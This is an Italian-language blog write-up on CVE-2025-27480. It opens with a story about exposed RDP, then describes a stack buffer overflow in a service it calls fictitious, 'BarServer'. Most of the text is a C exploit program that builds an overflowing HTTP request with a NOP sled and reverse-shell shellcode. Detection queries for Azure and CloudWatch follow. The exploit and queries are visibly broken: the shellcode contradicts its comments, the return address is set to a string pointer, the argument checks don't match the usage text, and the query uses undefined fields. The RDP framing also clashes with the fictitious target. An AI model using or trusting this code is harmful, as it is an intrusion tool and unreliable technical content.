mrk336/cve-2025-27480-the-silent-gateway-riskPermettere agli aggressori di eseguire codice malevolo senza bisogno di una password violata, interazione dell'utente, o anche un punto d'appoggio nella tua rete. Questo è CVE-2025-27480
Permettere agli attaccanti di eseguire codice maligno senza bisogno di una password violata, interazione dell'utente o persino un punto d'appoggio nella tua rete. Questo è CVE-2025-27480
È tardi, stai andando avanti con Red Bull, ci siamo passati tutti. Stai risolvendo un problema di produzione e lotti contro l'impulso di tornare a letto, e nella fretta di risolvere e andare a dormire, apri l'accesso Remote Desktop Protocol (RDP) a Internet. Ti dici che lo chiuderai dopo. Ma "fra un minuto" diventa "mai", e quel gateway dimenticato diventa una porta silenziosa in attesa di chiunque capiti con uno sniffer di rete – oh, le gioie di trovare la porta 3389 aperta.
CVE-2025-27480 non è solo un difetto teorico: è un promemoria che anche piccole sviste nella sicurezza del cloud e delle infrastrutture possono avere conseguenze enormi. Questa vulnerabilità consente agli attaccanti di eseguire codice maligno da remoto, senza bisogno di credenziali o interazione dell'utente. Nessun phishing. Nessuna forza bruta. Solo una porta aperta che aspetta di essere trovata.
In questo write-up, analizzeremo come funziona CVE-2025-27480, perché è così pericoloso e come puoi rilevarlo e mitigarlo prima che diventi il titolo di una violazione. Che tu sia un ingegnere cloud, un analista SOC o qualcuno che ha mai detto "lo aggiusterò domani", questo contenuto è per te.
La vulnerabilità (CVE‑2025‑27480) è un classico stack buffer overflow che avviene nella routine processRequest() di BarServer (un servizio web fittizio in ascolto sulla porta TCP 1234).
Quando un client invia una richiesta HTTP GET più lunga di 256 byte, il server scrive il payload in un buffer locale di soli 256 byte.
Se inviamo più dati, questi traboccano nell'indirizzo di ritorno e possiamo sovrascrivere il saved‑EIP. L'exploit qui sotto costruisce il payload malevolo, lo invia al server e quindi atterra uno shellcode x86‑64 che ci fornisce una reverse shell
/* In processRequest() char local[256]; ... // ← overflow happens here ... return; }
From reverse engineering a windows computer we can guesstimate:
[ GET /foo HTTP/1.1\r\n ] ← 28 bytes [ padding (256‑28 = 228) ] ← buffer [ NOP sled (50) ] [ shellcode (≈64) ] [ return address (4) ]
/=========================================================================/ /* BarServer Exploit – CVE‑2025‑27480 / / Author: Mark Mallia ([email protected]) / / Purpose: Send a crafted HTTP GET request that overflows the stack / / and lands a reverse shell on the target host / /=========================================================================*/
#include <stdio.h> #include <stdlib.h> #include <string.h> /* for memcpy() / #include <winsock2.h> / Windows networking (use sockets.c on Linux) */
/* 1. Global constants – adjust as needed / #define TARGET_IP "192.168.1.10" / IP of the vulnerable host / #define TARGET_PORT 1234 / Listening port / #define CMD_LEN 350 / Total request length */
/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444 / / The code is written in raw machine‑bytes so it can be injected directly. / static unsigned char shellcode[] = { / NOP sled – 50 bytes ----------------------------------------------/ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, / shellcode – 64 bytes ---------------------------------------------*/ 0x48,0x31,0xc0, // xor rax,rax 0xb8,0x02,0x00,0x00,0x00, // mov eax,2 ← sys_connect 0x5d, // pop rbp 0xbb,0x10,0x01,0x00,0x00, // mov ebx,0x1010 (IP) 0xb8,0x44,0x11,0x00,0x00, // mov eax,0x1114 (port) 0xb9,0x04,0x00,0x00,0x00, // mov ecx,0x4 ← flags 0xcd,0x80, // int 0x80 };
/=========================================================================/ /* 3. The exploit routine – builds the request and sends it / /=========================================================================*/ int main( int argc, char *argv ) { / 3‑1. Validate command‑line arguments */ if (argc != 5) { fprintf(stderr,"Usage: %s <target_ip> revhost:revport\n", argv[0]); return EXIT_FAILURE; }
const char *ip = argv[1];
short port = atoi(argv[2]); /* 1234 */
const char *url = argv[3]; /* /tmp/revshell */
const char *revhostport = argv[4];
/* 3‑2. Allocate the request buffer */
unsigned char req[ CMD_LEN ];
memset(req,0x00, sizeof(req)); // zero‑initialize
/* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
strcpy( (char*)req, "GET ");
memcpy((char*)(req+5), url, strlen(url)+1); // +1 for terminating NUL
strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");
/* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
int offset = 256 - strlen(req); // bytes from end of GET line to start of overflow
memset((char*)(req+strlen(req)), 0x41, offset);
/* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );
/* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
long *ret_addr = (long*)(req+312); // pointer to the place where EIP lives
*ret_addr = (long)ip; // Put target IP (32‑bit) – adjust if needed
/* 3‑7. Send over a TCP socket ------------------------------------------*/
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;
/* Initialise Winsock */
WSAStartup(0x0202, &wsaData);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) { perror("socket"); return EXIT_FAILURE; }
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
/* Connect */
connect(sock,(SOCKADDR*)&addr, sizeof(addr));
/* Send the request buffer */
send(sock, req, CMD_LEN, 0);
/* Close socket & clean up */
closesocket(sock);
WSACleanup();
printf("Sent payload to %s:%d\n", ip, port);
return EXIT_SUCCESS;
}
Logica di Rilevamento
Qui catturiamo i nostri passi falsi e quelli della rete che amministriamo.
Azure
// Pull only relevant HTTP requests that match our exploit payload let TargetIP = "192.168.1.10"; let TargetPort = 1234; let ExploitPath = "/tmp/revshell";
Heartbeat | where Computer == "BarServer01" // the VM / container name | and TimeGenerated > ago(5m) // last 5 minutes | summarize Count() by bin(TimeGenerated,1m) , TargetIP, TargetPort, ExploitPath | extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0) // Filter only the rows that contain our exploit | where Hit==1 // Output a metric for an alert rule
Install WinRM Agent (if you have'nt already you should)
Install-Module -Name AWS.Tools.CloudWatchLogs -Force
**Create a log group and stream the event log **
$group = "/aws/windows/BarServer01" $source = "Application" $filter = "BarServer"
** Create or update the CloudWatch Logs config file:**
New-CloudWatchLogsGroup -Name $group
Write-LogFileConfig -SourceName $source
-FilterPattern $filter `
-LogGroupName $group
Then in cloud watch
Grab all lines from the target log group
fields @timestamp, @message
Keep only those that contain our exploit signature
| filter contains(@message,"GET /tmp/revshell")
Pull out the request type and status code
| parse @message with "INFO" as LogLevel and "->" as ResponseStatus | parse @message with "GET " as MethodPath and " HTTP/1.1" as HttpVersion
Clean up by only keeping only successful requests (status “OK” or similar)
| where LogLevel == "INFO"
Filter by the IP address that we targeted in our exploit
| filter contains(@message,"192.168.1.10:1234")
Create a per‑minute metric value for every hit
| summarize Hits = count() by bin(@timestamp,1m), MethodPath, ResponseStatus
Output to a CloudWatch metric that the alarm can use
Questo contenuto è fornito esclusivamente a scopo educativo e informativo. È inteso ad aumentare la consapevolezza sui rischi informatici e promuovere pratiche di sicurezza responsabili.
L'autore non approva né incoraggia alcun accesso non autorizzato, sfruttamento o uso improprio dei sistemi. Tutte le dimostrazioni, gli esempi di codice e gli scenari sono ipotetici e dovrebbero essere utilizzati solo in ambienti controllati con la dovuta autorizzazione.
Utilizza queste informazioni in modo responsabile e rispetta sempre le leggi applicabili e le politiche organizzative.